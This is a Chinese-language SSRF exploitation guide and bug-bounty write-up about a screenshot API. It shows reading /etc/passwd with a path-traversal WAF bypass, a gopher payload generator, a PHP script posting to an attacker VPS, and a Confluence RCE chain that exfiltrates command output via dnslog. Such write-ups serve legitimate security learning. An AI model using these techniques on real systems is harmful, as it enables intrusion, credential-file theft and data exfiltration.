Web漏洞挖掘指南 -SSRF服務器端請求偽造
一、漏洞原理及觸發場景
0x1
web服務器經常需要從別的服務器獲取數據,比如文件載入、圖片拉取、圖片識別等功能,如果獲取數據的服務器地址可控,攻擊者就可以通過web服務器自定義向別的服務器發出請求。因為web服務器常搭建在DMZ區域,因此常被攻擊者當作跳板,向內網服務器發出請求。
0x2
常見的ssrf漏洞場景(所有需要輸入url的地方都可以嘗試ssrf,將url改成dnslog地址,驗證請求IP是否來自web服務器):
- 遠程圖片拉取
- xls,doc等文件預覽
- 頭像加載
- 其他網站的訪問截圖
0x3
ssrf常用的協議:http/https、dict、file、gopher、sftp、ldap、tftp
二、漏洞檢測及利用
0x1
任何需要傳入URL的接口都有可能出現ssrf漏洞,可根據實際業務場景對功能接口進行漏洞驗證。ssrf漏洞可分為有回顯型和無回顯型,有回顯型ssrf可以直接通過頁面加載出目標資產,可先嘗試加載http://www.baidu.com 頁面確認有ssrf,如果成功的話,可進一步將百度換成內網IP,通過fuzz掃描內網資產。
0x2
無回顯型ssrf的檢測需要先配合dnslog平臺,測試dnslog平臺能否獲取到服務器的訪問記錄,如果沒有對應記錄,也可能是服務器不出網造成的,利用時可以通過請求響應時間判斷內網資產是否存在,然后再利用內網資產漏洞(比如redis以及常見可RCE的web框架)證明漏洞的有效性。
0x3
有回顯型ssrf往往可以直接操作內網web資產,不做多贅述。下面由某次眾測SSRF案例總結無回顯型或半回顯型ssrf的利用過程。
三、某次眾測SSRF案例
(禁用gopher協議時發POST包getshell)
0x1
感謝 @Rus 師傅提供的漏洞,這個ssrf雖然能看到訪問截圖,但是無法直接操作內網web資產,因此和無回顯型ssrf的利用合并總結了。首先在js中發現接口:
https://xxx.com/mall-tools/v1-0/tools/screenshot?url=url/&width=3272&height=1840&sleepMillis=10000

0x2
通過接口名稱大概知道是截圖功能的接口,后接的url參數是可控的,將url地址改為www.baidu.com,響應包返回的數據中給出了截圖地址:

0x3
訪問該圖片地址直接下載值本地,發現正是百度的首頁,url改為ceye地址,通過http記錄發現UA是基于Linux上chrome內核的瀏覽器:

0x4
猜測請求過程:客戶端通過接口傳入url→web服務器接收到地址后用瀏覽器訪問該url→訪問后將網頁詳情截圖并上傳cdn→接口請求成功響應并返回截圖保存地址
chrome瀏覽器默認支持:Http,Https,File,Ftp,Linux環境下先嘗試讀取/etc/passwd,

0x5
將url改成/etc/./././././././passwd可繞過該waf,發現部分用戶的hash:

0x6
因為當前用戶權限不夠,無法讀/root/.bash_history和shadow文件,也不知道web源碼的絕對路徑無法讀配置文件,此時還可以讀取/etc/hosts文件獲取部分內網web資產:

0x7
除了以上收集到的資產,平時遇到無回顯SSRF,還可以嘗試尋找內網的Confluence, Artifactory, Jenkins, 和JAMF等資產,這篇文章是專門介紹bind ssrf利用技巧的,可以作為參考:
https://github.com/assetnote/blind-ssrf-chains
在GitHub搜索廠商域名關鍵字+jenkins、wiki、oa、git、svn等有可能出現在域名中的詞,發現jenkins和confluence內網資產:


0x8
以上域名公網無法訪問,通過ssrf接口帶入
https://xxx.com/mall-tools/v1-0/tools/screenshot?url=url/&width=3272&height=1840&sleepMillis=10000
查看截圖后發現jenkins有登錄口,無法直接未授權RCE,需要嘗試其他歷史漏洞,這時可以先試試近期公開的CVE-2021-26084,confluence未授權RCE,詳情以及payload參考:
https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
0x9
該漏洞的觸發需要發送POST請求,以下列舉ssrf漏洞發送POST請求的幾種思路:
- 符號列表利用gopher協議直接發送POST請求。用python腳本生成gopher數據流,參考:
https://blog.csdn.net/weixin_45887311/article/details/107327706
import urllib.parse test =\ """POST / HTTP/1.1 Host: 127.0.0.1:8000 """ #以上內容放置請求包內容,注意后面一定要有回車,回車結尾表示http請求結束 tmp = urllib.parse.quote(test) new = tmp.replace('%0A','%0D%0A') result = '_'+new print(result)

除了發出HTTP請求外,gopher協議還常被用來攻擊內網redis、Zabbix、FastCGI、mysql等服務,利用工具:
https://github.com/tarunkant/Gopherus
- ssrf不支持gopher協議時可考慮利用302跳轉。條件:ssrf支持302跳轉。參考:
https://zone.huoxian.cn/d/392
土司上也有師傅寫過用302跳轉對discuz的ssrf進行利用的案例:
https://www.t00ls.cc/articles-62210.html
302.php發出POST請求:
/** * 發送post請求 * @param string $url 請求地址 * @param array $post_data post鍵值對數據 * @return string */ function send_post($url, $post_data) { $postData = http_build_query($post_data); $options = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-type:application/x-www-form-urlencoded', 'content' => $postData, 'timeout' => 15 * 60 // 超時時間(單位:s) ) ); $context = stream_context_create($options); $result = file_get_contents($url, false, $context); return $result; } //使用方法 $post_data = array( 'username' => 'stclair2201', 'password' => 'handan' ); send_post('http://vpsip:8000', $post_data); ?>
- 結合csrf自動提交POST表單。條件:支持跳轉,無refer限制。前文提到,目標服務器可能是通過瀏覽器訪問后再截圖,因此重定向是可以實現的,這里提供一種比302跳轉更方便的解決方案,直接用burp生成csrf poc,然后加入一段js來自動提交表單,這樣也類似于302重定向的利用方式了。
0x10
當前場景,結合csrf自動提交POST表單的方法是最方便的,因為是半回顯ssrf,命令執行結果在截圖中無法提現,可通過dnslog將命令執行結果外帶,漏洞請求包:

0x11
用burp生成csrf poc后,加入自動提交表單的js,然后將其保存在vps上的exp.html中:

0x12
最后訪問
https://xxx.com/mall-tools/v1-0/tools/screenshot?url=http://vpsip/exp.html
實現RCE,用dnslog將命令執行結果外帶:
